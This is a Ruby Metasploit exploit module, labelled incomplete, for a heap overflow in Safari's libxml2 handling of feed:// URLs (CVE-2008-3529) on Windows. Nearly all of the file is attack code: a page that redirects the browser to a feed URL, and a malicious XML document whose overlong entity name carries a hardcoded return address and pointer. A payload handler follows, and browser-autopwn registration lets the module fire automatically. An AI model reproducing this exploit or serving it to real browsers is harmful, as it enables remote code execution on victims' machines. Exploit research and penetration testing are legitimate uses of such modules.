##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::SAFARI,
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Safari libxml2 feed:// URL Heap Overflow',
			'Description'    => %q{ },
			'License'        => BSD_LICENSE,
			'Author'         => [ 'egypt' ],
			'Version'        => '$Revision$',
			'References'     => 
				[
					 ['BID', '31126'],
					 ['CVE', '2008-3529'],
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					# Target 0: Automatic
					[
						'Windows Safari 3.2.1 via libxml2.dll',
						{
							# Addresses must be alphanumeric ascii
							'Platform' => [ 'win' ],
							#'Ret'      => 0x62306e38,  # call eax; libxml2.dll
							#'Ret'      => 0x62317666,  # call ebx; libxml2.dll
							#'Ret'      => 0x62315233,  # call ecx; libxml2.dll
							#'Ret'      => 0x62306e55,  # call edx; libxml2.dll
							#'Ret'      => 0x62334f4c,  # call edi; libxml2.dll
							'Ret'      => 0x62353068,  # call esi; libxml2.dll
							#'Ret'      => 0x62314169,  # call ebp; libxml2.dll
							#'Where'    => 0x30313233, # Need a pointer that gets called
							'Where'    => 0x77ed73b4, # Need a pointer that gets called
						},
					],
				],
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		headers = {
			'Cache-control' => 'must-revalidate',
			'Expires' => '0'
		}
		case request.uri
		when get_resource()
			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

			content = "<html><head></head><body>"
			content << "<script><!--\n"
			content << "location.href = 'feed://' + location.host + '#{get_resource}feed';\n"
			content << "//--></script>"
			content << "</body></html>"
		when /feed/
			print_status("Sending evil feed to #{cli.peerhost}:#{cli.peerport}...")

			sets = [("A".."Z").to_a.join, ("a".."j").to_a.join, ("k".."z").to_a.join]
			pattern = Rex::Text.pattern_create(1000, sets)

			pattern[207,4] = [target.ret].pack("V")
			pattern[211,4] = [target['Where']].pack("V")
			# For debug heap
			#pattern[223,4] = [target.ret].pack("V")
			#pattern[227,4] = [0x78787878].pack("V")

			content = '<?xml version="1.0"?>' + "\n" +
			          '<!DOCTYPE longentity [' + "\n" +
					  '<!ELEMENT longentity (#PCDATA)>' + "\n" +
					  '<!ENTITY ' +
					  pattern +
					  " \"#{rand_text_alpha(5)}\"> ]>\n" +
					  '<longentity location="&' +
					  pattern +
					  ';">text</longentity>' + "\n"
			headers["Content-Type"] = "text/xml"
		end
		send_response(cli, content, headers)

		# Handle the payload
		handler(cli)

	end

end
